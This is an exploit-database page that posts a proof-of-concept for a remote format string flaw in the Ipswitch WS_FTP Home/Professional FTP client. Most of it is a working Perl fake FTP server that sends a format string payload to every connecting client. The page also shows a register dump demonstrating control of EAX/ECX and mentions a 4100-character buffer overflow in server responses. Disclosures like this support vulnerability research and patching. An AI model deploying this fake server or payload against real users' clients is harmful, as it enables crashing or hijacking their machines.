WS_FTP Home/Professional FTP Client Remote Format String PoC

Advisory Content :

###########################################################################
#######################################
#
# Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String
vulnerability
# Vendor : http://www.ipswitch.com/
# Affected Os : Windows *
# Risk : critical
#
# This bug is pretty interresting in the way you have to exploit it in a
weird way...
#
# With this PoC you'll get a full control over EAX/ECX
# (
# eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142
edi=02b1f0ab
# eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0 nv up ei pl nz na
po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206
# USER32!CharLowerA+0x93:
# 77d3ef68 8a10 mov dl,[eax]
ds:0023:41414141=??
# )
# Fake Server PoC :
use strict;
use Socket;

my $port = shift || 21;
my $proto = getprotobyname('tcp');
my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s";

my $visitor;
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
or die "To bad $!\n";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" ))
or die "Shitz port $port is allready in use, shut down your ftp server
!\n";
listen(SOCKET, 5) or die "Listen: $!";
print "Fake Server started on port $port\n";
while ($visitor = accept(NEW_SOCKET, SOCKET)) {
print NEW_SOCKET $goodz;
close NEW_SOCKET;
}

# Anyways, in the WS_FTP Home client there's still a buffer overflow in the
FTP server message response ( 4100 chars answer --> done ).

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

WS_FTP Home/Professional FTP Client Remote Format String PoC